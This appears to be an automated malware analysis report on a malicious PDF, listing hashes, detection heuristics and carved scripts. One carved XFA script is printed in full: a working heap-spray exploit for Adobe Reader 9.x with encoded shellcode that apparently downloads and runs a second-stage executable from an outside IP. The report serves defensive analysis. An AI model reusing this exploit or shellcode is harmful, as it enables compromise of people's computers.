Malicious PDF — malware analysis report

Static analysis result for SHA-256 0c55e17689ea24f2…

MALICIOUS

PDF

524.8 KB Created: 2009-07-30 15:52:28 +02:00 Authoring application: Haru Free PDF Library 2.1.0 First seen: 2026-05-10
MD5: 38574fbb7903c6576007dd8dc1bb2d82 SHA-1: c4d6b8b301c9659f235b906255c1624e34faab7f SHA-256: 0c55e17689ea24f2bb3b9526df7bef24c186ec3420fb59801df2f7d7481d9a62
414 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript that is heavily obfuscated, making precise analysis difficult. However, heuristic analysis detected a critical ClamAV signature (Html.Trojan.Shellcode-19) on an extracted artifact named 'embedded_pdf_script_000110ce.bin'. This suggests the script is designed to download and execute a second-stage payload. The analysis timed out, limiting the depth of inspection.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 13

  • CVE-2010-1297 — Adobe Flash/Reader authplay heap-spray (Flash-in-PDF) critical CVE likely CVE_2010_1297
    PDF embeds a Flash (SWF) object via RichMedia and its JavaScript heap-sprays to groom memory for the embedded Flash exploit. This is the CVE-2010-1297 (authplay.dll) Flash-in-PDF memory-corruption shape; the spray is recovered after de-obfuscating space-padded %u, fromCharCode and \u builders that evade the raw heap-spray rules.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var payLoadCode = unescape("%u00e8%u0000%u5800%u052d%u0000%u8b00%u83ec%u40ec%u4589%u64fc%u30a1%u0000%u8b00%u0c40%u708b%uad1c%u408b%u8908%uf845%u488b%u033c%u8bc8%u7849%uc803%uff51%uf875%u7ee8%u0000%u8900%uf445%u5d8b%u89fc%ue045%u73bb%u0001%u0300%ufc5d%uf38b%u04b9%u0000%u5100%uad66%u0398%ufc45%uff50%uf875%ua9e8%u0000%u5900%ud88b%uad66%u0398%u89c5%ue218%ub8e4%u016c%u0000%u4503%u50fc%u9be8%u0000%u8b00%ub8d8%u0159%u0000%u4503%u50fc%ue853%u007e%u0000%u4589%ue9c0%u010f%u0000%u5651%u6468%u7264%u6865%u6f …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PHP webshell / backdoor source high WEBSHELL_PHP
    The file contains PHP server-side code with the signature of a webshell/backdoor (request input fed to a command/code-exec sink). A webshell takes attacker input from an HTTP request and runs commands/code on the server. Flagged as a malicious hacktool artifact even when carried inside a document or archive — the code does not execute from the carrier, but the file is a webshell.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
  • Embedded script payload in PDF stream medium PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://blog.greensock.com/club/ In PDF document text
    • http://www.tweenlite.comIn PDF document text
    • http://www.TweenMax.comIn PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xtd/In PDF document text
    • http://adobe.com/AS3/2006/builtinIn PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://cgi.adobe.com/special/acrobat/updateReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
testfuzz.swf pdf-embedded-file PDF EmbeddedFile object 15 at offset 0x137C9 453541 bytes
SHA-256: e00d9045e744aa9e58f36aa4ce84b8a453e8a30542d622ccf506c54a1f2f854c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
actual_type=SWF; declared_or_context_type=PDF; filename=testfuzz.swf; kind=pdf-embedded-file
javascript_obj0027_000.js pdf-javascript-stream PDF /JS object 27 at offset 0x712 1535 bytes
SHA-256: e3e351675eabd51ed0a9b2a42fdbd26abed2160bc835c82b759bad35673da1ea
Preview script
First 1,000 lines of the extracted script
if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.5)
{
   if (app.viewerType == "Reader")
   {
      if (ADBE.Reader_Value_Asked != true)
      {
         if (app.viewerVersion < 6.0)
         {
            if (app.alert(ADBE.Viewer_Form_string_Reader_5x, 1, 1) == 1)
               this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
            ADBE.Reader_Value_Asked = true;
         }
         else if (app.viewerVersion < 7.0)
         {
            if (app.alert(ADBE.Viewer_Form_string_Reader_601, 1, 1) == 1)
               app.findComponent({cType:"App", cName:"Reader7", cDesc: ADBE.Viewer_string_Update_Reader_Desc});
            ADBE.Reader_Value_Asked = true;
         }
         else
         {
            if (app.alert(ADBE.Viewer_Form_string_Reader_6_7x, 1, 1) == 1)
               app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Reader_Desc});
            ADBE.Reader_Value_Asked = true;
         }
      }
   }
   else
   {
      if (ADBE.Viewer_Value_Asked != true)
      {
         if (app.viewerVersion < 7.0)
            app.response({cQuestion: ADBE.Viewer_Form_string_Viewer_Older, cDefault: ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle: ADBE.Viewer_string_Title});
         else if (app.alert(ADBE.Viewer_Form_string_Viewer_7x, 1, 1) == 1)
            app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
         ADBE.Viewer_Value_Asked = true;
      }
   }
}
javascript_obj0028_001.js pdf-javascript-stream PDF /JS object 28 at offset 0x8FD 870 bytes
SHA-256: 4a1aca004cf20431c9a66dce85404a6411a54d881a6c257882260ffc972a13eb
Preview script
First 1,000 lines of the extracted script
if (typeof(ADBE.Reader_Value_Asked) == "undefined")
   ADBE.Reader_Value_Asked = false;
if (typeof(ADBE.Viewer_Value_Asked) == "undefined")
   ADBE.Viewer_Value_Asked = false;
if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 7.0)
{
   ADBE.Reader_Need_Version = 7.0;
   ADBE.Reader_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
   ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + "XFA1_6";
}
if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 7.0)
{
   ADBE.Viewer_Need_Version = 7.0;
   ADBE.Viewer_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
   ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + "XFA1_6";
}
javascript_obj0029_002.js pdf-javascript-stream PDF /JS object 29 at offset 0xA57 3353 bytes
SHA-256: 6e69c63d9c536fe522ee26ec28b45a9f482c2143b8722590aff104d35f1a4006
Preview script
First 1,000 lines of the extracted script
if (typeof(this.ADBE) == "undefined")
   this.ADBE = new Object();
ADBE.LANGUAGE = "ENU";
ADBE.Viewer_string_Title = "Adobe Acrobat";
ADBE.Viewer_string_Update_Desc = "Adobe Interactive Forms Update";
ADBE.Viewer_string_Update_Reader_Desc = "Adobe Reader 7.0.5";
ADBE.Reader_string_Need_New_Version_Msg = "Ce fichier PDF requiert une version plus r�cente d'Adobe Reader. Cliquez sur OK pour t�l�charger la derni�re version ou contactez l'administrateur syst�me.";
ADBE.Viewer_Form_string_Reader_601 = "Ce formulaire PDF requiert une version plus r�cente d'Adobe Reader. Le fonctionnement du formulaire peut sembler normal, mais certains �l�ments risquent de ne pas fonctionner correctement ou de ne pas s'afficher du tout. Cliquez sur OK pour lancer la mise � jour en ligne ou consultez votre administrateur syst�me.";
ADBE.Viewer_Form_string_Reader_Older = "Ce formulaire PDF requiert une version plus r�cente d'Adobe Reader. Le fonctionnement du formulaire peut sembler normal, mais certains �l�ments risquent de ne pas fonctionner correctement ou de ne pas s'afficher du tout. Cliquez sur OK pour obtenir des informations sur le t�l�chargement en ligne ou consultez votre administrateur syst�me.";
ADBE.Viewer_Form_string_Viewer_601 = "Ce formulaire PDF requiert une version plus r�cente d'Adobe Acrobat. Le fonctionnement du formulaire peut sembler normal, mais certains �l�ments risquent de ne pas fonctionner correctement ou de ne pas s'afficher du tout. Cliquez sur OK pour lancer la mise � jour en ligne ou consultez votre administrateur syst�me.";
ADBE.Viewer_Form_string_Viewer_60 = "Ce formulaire PDF requiert une version plus r�cente d'Adobe Acrobat. Le fonctionnement du formulaire peut sembler normal, mais certains �l�ments risquent de ne pas fonctionner correctement ou de ne pas s'afficher du tout. Pour plus de d�tails, copiez l'URL suivant (CTRL+C sous Win, Commande+C sous Mac), puis collez-le dans le navigateur, ou contactez l'administrateur syst�me.";
ADBE.Viewer_Form_string_Viewer_Older = "Ce fichier PDF requiert une version plus r�cente d'Acrobat. Copiez cet URL, puis collez-le dans le navigateur, ou contactez l'administrateur syst�me.";
ADBE.Viewer_Form_string_Reader_5x = "Ce formulaire PDF requiert une version plus r�cente d'Adobe Reader. Sans cela, le formulaire s'affiche mais risque de ne pas fonctionner correctement. Certains �l�ments de formulaire risquent de ne pas s'afficher du tout. Si vous disposez d'une connexion Internet, cliquez sur OK pour ouvrir une page Web dans le navigateur o� vous pourrez obtenir la derni�re version du produit.";
ADBE.Viewer_Form_string_Reader_6_7x = "Ce formulaire PDF requiert une version plus r�cente d'Adobe Reader. Sans cela, le formulaire s'affiche, mais risque de ne pas fonctionner correctement. Certains �l�ments de formulaire risquent de ne pas s'afficher du tout. Si vous disposez d'une connexion Internet, cliquez sur OK pour t�l�charger et installer la derni�re version du produit.";
ADBE.Viewer_Form_string_Viewer_7x = "Ce formulaire PDF requiert une version plus r�cente d'Adobe Acrobat. Sans cela, le formulaire s'affiche, mais risque de ne pas fonctionner correctement. Certains �l�ments de formulaire risquent de ne pas s'afficher du tout. Si vous disposez d'une connexion Internet, cliquez sur OK pour t�l�charger et installer la derni�re version du produit.";
embedded_pdf_script_000110ce.bin pdf-embedded-script PDF raw stream script payload at offset 0x110CE 7420 bytes
SHA-256: 65a3d66b636d21a30c4896df89a54602ac9ce7b1c9f3f01be818e0e6358c58ca
Detection
ClamAV: Html.Trojan.Shellcode-19
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
<template xmlns="http://www.xfa.org/schema/xfa-template/2.5/" baseProfile="interactiveForms"
><subform layout="tb" locale="fr_FR" name="topmostSubform"
><pageSet
><pageArea id="PageArea1" name="PageArea1"
><contentArea h="600pt" name="ContentArea1" w="600pt" x="0pt" y="0pt"
></contentArea
><medium long="600pt" short="600pt" stock="custom"
></medium
></pageArea
></pageSet
><subform h="600pt" name="Page1" w="600pt" x="0pt" y="0pt"
><break before="pageArea" beforeTarget="#PageArea1"
></break
><bind match="none"
></bind
><field h="30.4mm" name="Champ_image1" w="25.4mm" x="93.0102mm" y="90.5343mm"
><ui
><imageEdit
></imageEdit
></ui
><event activity="initialize"
><script contentType="application/x-javascript"
>var heapSprayToAddress = 0x04000000;

var payLoadCode = unescape("%u00e8%u0000%u5800%u052d%u0000%u8b00%u83ec%u40ec%u4589%u64fc%u30a1%u0000%u8b00%u0c40%u708b%uad1c%u408b%u8908%uf845%u488b%u033c%u8bc8%u7849%uc803%uff51%uf875%u7ee8%u0000%u8900%uf445%u5d8b%u89fc%ue045%u73bb%u0001%u0300%ufc5d%uf38b%u04b9%u0000%u5100%uad66%u0398%ufc45%uff50%uf875%ua9e8%u0000%u5900%ud88b%uad66%u0398%u89c5%ue218%ub8e4%u016c%u0000%u4503%u50fc%u9be8%u0000%u8b00%ub8d8%u0159%u0000%u4503%u50fc%ue853%u007e%u0000%u4589%ue9c0%u010f%u0000%u5651%u6468%u7264%u6865%u6f72%u4163%u4768%u7465%u8b50%u33f4%u83c9%u03c9%ua7f3%u940f%u83c0%u0cc4%u595e%u55c3%uec8b%u5156%u8b57%u0c75%u4e8b%u8b18%u1c7e%u7d03%u8b08%u2046%u4503%u5708%u8b50%u0338%u087d%ub9e8%uffff%u3cff%u5801%u745f%u830a%u04c7%uc083%ue204%uebe6%u8b09%u033f%u087d%uc78b%u0deb%uc033%ufc8b%u40b9%u0000%uf300%uffab%u5fe0%u5e59%ue58b%uc25d%u0008%u65ff%uffe0%ud065%u65ff%uffcc%uc865%u65ff%u43c4%u6572%u7461%u5065%u6f72%u6563%u7373%u0041%u6547%u4574%u766e%u7269%u6e6f%u656d%u746e%u6156%u6972%u6261%u656c%u0041%u7845%u7469%u7250%u636f%u7365%u0073%u6f4c%u6461%u694c%u7262%u7261%u4179%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c%u0041%u7275%u6d6c%u6e6f%u1900%ud001%u28ff%ucc01%u40ff%uc801%u4cff%uc401%u52ff%ud48b%uec83%u5220%uc033%u5050%u72ff%uff0c%u0872%uff50%uc055%u855a%u5fc0%u8b5e%u5ae2%u08c2%u8100%u00ec%u0001%u8b00%uc7c4%u5400%u4d45%uc750%u0440%u0000%u0000%uf868%u0000%u5000%u0483%u0824%ue850%uff48%uffff%ufc8b%uc783%ub908%u0100%u0000%uc033%uaef2%u5cb0%uaa4f%u03b9%u0000%ube00%u023f%u0000%u7503%uf3fc%u32a5%u88c0%u8b07%u83c4%u08c0%ub850%u024b%u0000%u4503%u50fc%u82e8%uffff%u8bff%u83d4%u08c2%uec83%u8b10%u83dc%u44ec%ufc8b%u11b9%u0000%u3300%uf3c0%u8bab%uc7fc%u4407%u0000%u5300%u6a57%u6a00%u6a00%u6a00%u6a00%u6a00%u6a00%u5200%ud6e8%ufffe%u33ff%u50c0%ud4e8%ufffe%u6fff%u4e6d%u7462%u5033%u652e%u6578%u3600%u2e32%u3532%u2e31%u3831%u2e38%u3931%u0033%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");

    var heapBlockSize = 0x04000000;
    var payLoadSize = payLoadCode.length * 2;
    var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

    var j = 0;
    var l = payLoadCode.length;
    
    n = 4*256 -128 -32 -2*l;
    
    var fill = ""
    for (j = 0; j&lt;n/2;j++) {
        fill = fill + "%u0000";         //fill string
    }
    
if (app.viewerVersion==9.2) {
    fill = fill + "%u4141%u4141%u0008%u1212%ud9df%u2093%u0090%u1212%u0004%u1212%u835e%u2098%u2b26%u2080%u8997%u20ba"
    fill = unescape(fill);
    var spraySlide = unescape("%u0000%u0000%u0101%u0101%u0202%u0202%u0303%u0303"
    +"%u0404%u0404%uB290%u208C%u0080%u1212%uB2d0%u208C"
    +"%u0000%u3500%u1000%u0000%u3000%u0000%u0040%u0000"
    +"%u26ee%u2080%u0000%u3500%u0000%u3500%u00A0%u1212"
    +"%u0400%u0000%u0000%u3500%u0000%u3500%u78b5%u4a84"
    +"%u0014%u1212%u0004%u1212%u781c%u2098%u2b26%u2080"
    +"%u6956%u7472%u6175%u416C%u6C6C%u636F%u1b00%u1b1b"
    +"%u656B%u6E72%u6C65%u3233%u642E%u6C6C%u4d00%u1f1f") + payLoadCode + fill;
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);
}  else if (app.viewerVersion==9.3) {
    fill = fill + "%u4141%u4141%u0008%u1212%ue7ff%u2093%u0090%u1212%u0004%u1212%u81fc%u2098%u2b26%u2080%u8688%u20ba"
    fill = unescape(fill);
    var spraySlide = unescape("%u0000%u0000%u0101%u0101%u0202%u0202%u0303%u0303"
    +"%u0404%u0404%uB986%u208C%u0080%u1212%uB9C6%u208C"
    +"%u0000%u3500%u1000%u0000%u3000%u0000%u0040%u0000"
    +"%u26ee%u2080%u0000%u3500%u0000%u3500%u00A0%u1212"
    +"%u0400%u0000%u0000%u3500%u0000%u3500%u78b5%u4a84"
    +"%u0014%u1212%u0004%u1212%u81fc%u2098%u2b26%u2080"
    +"%u6956%u7472%u6175%u416C%u6C6C%u636F%u1b00%u1b1b"
    +"%u656B%u6E72%u6C65%u3233%u642E%u6C6C%u4d00%u1f1f") + payLoadCode + fill;
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);
}  else if (app.viewerVersion==9.302) {
    fill = fill + "%u4141%u4141%u0008%u1212%uF7AF%u2093%u0090%u1212%u0004%u1212%u944C%u2098%u2b26%u2080%uA573%u20ba"
    fill = unescape(fill);
    var spraySlide = unescape("%u0000%u0000%u0101%u0101%u0202%u0202%u0303%u0303"
    +"%u0404%u0404%uBC13%u208C%u0080%u1212%uBC53%u208C"
    +"%u0000%u3500%u1000%u0000%u3000%u0000%u0040%u0000"
    +"%u26ee%u2080%u0000%u3500%u0000%u3500%u00A0%u1212"
    +"%u0400%u0000%u0000%u3500%u0000%u3500%u78b5%u4a84"
    +"%u0014%u1212%u0004%u1212%u944C%u2098%u2b26%u2080"
    +"%u6956%u7472%u6175%u416C%u6C6C%u636F%u1b00%u1b1b"
    +"%u656B%u6E72%u6C65%u3233%u642E%u6C6C%u4d00%u1f1f") + payLoadCode + fill;
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);
}  else if (app.viewerVersion&gt; 9.3  ) {
    fill = fill + "%u4141%u4141%u0008%u1212%udfef%u2093%u0090%u1212%u0004%u1212%u7f2c%u2098%u2b26%u2080%u8b70%u20ba"
    fill = unescape(fill);
    var spraySlide = unescape("%u0000%u0000%u0101%u0101%u0202%u0202%u0303%u0303"
    +"%u0404%u0404%uB474%u208C%u0080%u1212%ub4b4%u208C"
    +"%u0000%u3500%u1000%u0000%u3000%u0000%u0040%u0000"
    +"%u26ee%u2080%u0000%u3500%u0000%u3500%u00A0%u1212"
    +"%u0400%u0000%u0000%u3500%u0000%u3500%u78b5%u4a84"
    +"%u0014%u1212%u0004%u1212%u7f2c%u2098%u2b26%u2080"
    +"%u6956%u7472%u6175%u416C%u6C6C%u636F%u1b00%u1b1b"
    +"%u656B%u6E72%u6C65%u3233%u642E%u6C6C%u4d00%u1f1f") + payLoadCode + fill;
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);
} else {
    var spraySlide = unescape("%u1212%u1212");
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);
}
	var spraySlide2 = unescape("%u0070%u1212");
    spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);
    
	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
	memory = new Array();
	for (i=0;i&lt;1;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}

	memory2 = new Array();
	for (i=0;i&lt;1;i++)
	{
		memory2[i] = spraySlide2 + payLoadCode;
	}

	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2&lt;spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide+ payLoadCode;
	}</script
></event
></field
><?templateDesigner expand 1?></subform
><?templateDesigner expand 1?></subform
><?templateDesigner Zoom 85?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template
>

Open this report in the interactive analyzer, or submit your own file for analysis.